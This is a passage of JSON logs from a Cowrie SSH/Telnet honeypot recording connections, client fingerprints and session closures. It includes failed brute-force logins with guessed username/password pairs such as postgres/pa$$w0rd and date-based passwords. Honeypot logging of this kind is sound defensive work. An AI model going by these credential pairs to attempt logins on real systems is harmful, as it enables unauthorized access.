.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:10.378979Z","src_ip":"172.185.24.228","session":"1b82d282dd4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.454198360443115,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:10.630908Z","src_ip":"62.210.97.77","session":"032cd5d93fb4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"pa$$w0rd","message":"login attempt [postgres/pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:10.700379Z","src_ip":"172.185.24.228","session":"1b82d282dd4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:11.788792Z","src_ip":"172.185.24.228","session":"1b82d282dd4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56128,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d83daf2d1a8","protocol":"telnet","message":"New connection: 62.210.97.77:56128 (10.17.0.5:23) [session: 2d83daf2d1a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:19.530824Z"}
{"eventid":"cowrie.session.closed","duration":44.85861921310425,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:21.239941Z","src_ip":"165.232.131.181","session":"c5d076061326","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":37604,"dst_ip":"159.203.135.109","dst_port":22,"session":"37699bdc3b3f","protocol":"ssh","message":"New connection: 80.94.92.182:37604 (159.203.135.109:22) [session: 37699bdc3b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:24.537254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:24.662387Z","src_ip":"80.94.92.182","session":"37699bdc3b3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:24.666456Z","src_ip":"80.94.92.182","session":"37699bdc3b3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:25.572696Z","src_ip":"80.94.92.182","session":"37699bdc3b3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:26.680649Z","src_ip":"80.94.92.182","session":"37699bdc3b3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.51958203315735,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:31.777714Z","src_ip":"65.60.27.33","session":"3cf51b1a8453","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":34560,"dst_ip":"10.17.0.5","dst_port":23,"session":"07b7e8c8f16a","protocol":"telnet","message":"New connection: 62.210.97.77:34560 (10.17.0.5:23) [session: 07b7e8c8f16a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:34.671504Z"}
{"eventid":"cowrie.session.closed","duration":36.92341160774231,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:45.008064Z","src_ip":"62.210.97.77","session":"4f1ee94492b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.20681405067444,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:46.861373Z","src_ip":"65.60.27.33","session":"0ab9612e8265","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47108,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6b4565a3846","protocol":"telnet","message":"New connection: 38.54.119.93:47108 (10.17.0.5:23) [session: f6b4565a3846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:50.145879Z"}
{"eventid":"cowrie.session.closed","duration":46.80039072036743,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:53.557451Z","src_ip":"165.232.131.181","session":"f6ea4e3e9f8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.67189383506775,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:54.194546Z","src_ip":"165.232.131.181","session":"5eb3b19ba7a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.35330820083618,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:54.884029Z","src_ip":"62.210.97.77","session":"2d83daf2d1a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":55838,"dst_ip":"10.17.0.5","dst_port":23,"session":"97c3b41a9758","protocol":"telnet","message":"New connection: 49.88.156.34:55838 (10.17.0.5:23) [session: 97c3b41a9758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:56.381974Z"}
{"eventid":"cowrie.session.closed","duration":120.00299191474915,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:19:58.156655Z","src_ip":"191.219.197.253","session":"0ad3b41d40d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.234.2.36","src_port":56970,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac2062b8b11b","protocol":"ssh","message":"New connection: 181.234.2.36:56970 (159.203.135.109:22) [session: ac2062b8b11b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:04.895713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:04.909049Z","src_ip":"181.234.2.36","session":"ac2062b8b11b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:05.007416Z","src_ip":"181.234.2.36","session":"ac2062b8b11b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"test123","message":"login attempt [nginx/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:05.424053Z","src_ip":"181.234.2.36","session":"ac2062b8b11b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:06.528898Z","src_ip":"181.234.2.36","session":"ac2062b8b11b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.6442928314209,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:07.315671Z","src_ip":"62.210.97.77","session":"07b7e8c8f16a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.35373115539551,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:07.867397Z","src_ip":"165.232.131.181","session":"e3f936f24f7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.185.24.228","src_port":51364,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e27cef99440","protocol":"ssh","message":"New connection: 172.185.24.228:51364 (10.17.0.5:22) [session: 1e27cef99440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:08.085988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:08.091009Z","src_ip":"172.185.24.228","session":"1e27cef99440","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:08.175602Z","src_ip":"172.185.24.228","session":"1e27cef99440","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"test","message":"login attempt [ts/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:08.558146Z","src_ip":"172.185.24.228","session":"1e27cef99440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:09.642261Z","src_ip":"172.185.24.228","session":"1e27cef99440","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60096,"dst_ip":"10.17.0.5","dst_port":23,"session":"12de24811ffb","protocol":"telnet","message":"New connection: 38.54.119.93:60096 (10.17.0.5:23) [session: 12de24811ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:09.862456Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":37636,"dst_ip":"10.17.0.5","dst_port":23,"session":"34b02973de99","protocol":"telnet","message":"New connection: 165.232.131.181:37636 (10.17.0.5:23) [session: 34b02973de99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:13.960100Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":43858,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d6fc388e3f5","protocol":"ssh","message":"New connection: 20.203.42.204:43858 (159.203.135.109:22) [session: 1d6fc388e3f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:18.882910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:18.889683Z","src_ip":"20.203.42.204","session":"1d6fc388e3f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:19.057272Z","src_ip":"20.203.42.204","session":"1d6fc388e3f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"an","password":"test123","message":"login attempt [an/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:19.754501Z","src_ip":"20.203.42.204","session":"1d6fc388e3f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:20.933570Z","src_ip":"20.203.42.204","session":"1d6fc388e3f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00325894355774,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:21.109172Z","src_ip":"172.58.210.74","session":"91bca72ab0d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0030243396759,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:23.188450Z","src_ip":"172.58.210.74","session":"996b441c2770","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":25593,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa2ed0687e27","protocol":"ssh","message":"New connection: 2.57.121.25:25593 (10.17.0.5:22) [session: aa2ed0687e27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:24.304532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:24.313723Z","src_ip":"2.57.121.25","session":"aa2ed0687e27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:24.723820Z","src_ip":"2.57.121.25","session":"aa2ed0687e27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24061982","message":"login attempt [user/24061982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:25.218987Z","src_ip":"2.57.121.25","session":"aa2ed0687e27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"24041979","message":"login attempt [user/24041979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:26.332350Z","src_ip":"2.57.121.25","session":"aa2ed0687e27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50978,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a70cf2468cd","protocol":"telnet","message":"New connection: 62.210.97.77:50978 (10.17.0.5:23) [session: 7a70cf2468cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:26.986127Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"24011993","message":"login attempt [user/24011993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:27.440533Z","src_ip":"2.57.121.25","session":"aa2ed0687e27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":43140,"dst_ip":"10.17.0.5","dst_port":23,"session":"01eef2d712dd","protocol":"telnet","message":"New connection: 165.232.131.181:43140 (10.17.0.5:23) [session: 01eef2d712dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:27.584672Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"24011978","message":"login attempt [user/24011978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:28.549950Z","src_ip":"2.57.121.25","session":"aa2ed0687e27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"2337","message":"login attempt [user/2337] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:29.658401Z","src_ip":"2.57.121.25","session":"aa2ed0687e27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:30.768419Z","src_ip":"2.57.121.25","session":"aa2ed0687e27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":37442,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c456a066eb9","protocol":"telnet","message":"New connection: 65.60.27.33:37442 (10.17.0.5:23) [session: 3c456a066eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:38.138434Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42576,"dst_ip":"10.17.0.5","dst_port":23,"session":"c12ce82f4ddf","protocol":"telnet","message":"New connection: 62.210.97.77:42576 (10.17.0.5:23) [session: c12ce82f4ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:41.877349Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":53492,"dst_ip":"10.17.0.5","dst_port":23,"session":"91597b8c0f81","protocol":"telnet","message":"New connection: 38.54.119.93:53492 (10.17.0.5:23) [session: 91597b8c0f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:42.138474Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":51686,"dst_ip":"10.17.0.5","dst_port":23,"session":"97b3992168eb","protocol":"telnet","message":"New connection: 38.54.119.93:51686 (10.17.0.5:23) [session: 97b3992168eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:42.436532Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":42582,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa8ee01148be","protocol":"telnet","message":"New connection: 62.210.97.77:42582 (10.17.0.5:23) [session: fa8ee01148be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:45.017930Z"}
{"eventid":"cowrie.session.closed","duration":4.4128453731536865,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:20:46.849278Z","src_ip":"38.54.119.93","session":"97b3992168eb","protocol":"telnet"}
